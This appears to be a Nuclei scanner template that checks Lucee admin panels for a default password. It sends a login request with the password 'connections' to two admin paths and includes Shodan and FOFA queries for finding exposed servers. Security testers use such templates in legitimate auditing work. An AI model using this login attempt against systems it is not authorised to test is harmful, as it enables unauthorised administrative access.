id: lucee-default-login

info:
  name: Lucee - Default Login
  author: jpg0mez
  severity: high
  description: |
    Lucee admin panel using the default login password was discovered.
  reference:
    - https://support.intranetconnections.com/hc/en-us/articles/115012060627-Lucee-Configuration
  classification:
    cwe-id: CWE-1392
  metadata:
    verified: true
    max-request: 1
    shodan-query: "html:\"Lucee\""
    fofa-query: "app=\"Lucee-Engine\""
  tags: lucee,default-login

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login_passwordweb={{password}}&lang=en&rememberMe=s&submit=submit

    attack: pitchfork
    payloads:
      path:
        - /lucee/admin/web.cfm
        - /lucee/admin/server.cfm
      password:
        - "connections"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Overview - Lucee Web Administrator")'
          - '!contains(body, "Access is protected")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502202e0ae3fc3c27bb5be817fc4d300fad5b9a7ec3d275030d9bd37c2e36e714fa56022100cf7dc6d65de5d5bb5bde17eb3b73ff3ce67a31388479816727c0ad2fe68b7376:922c64590222798bb761d5b6d8e72950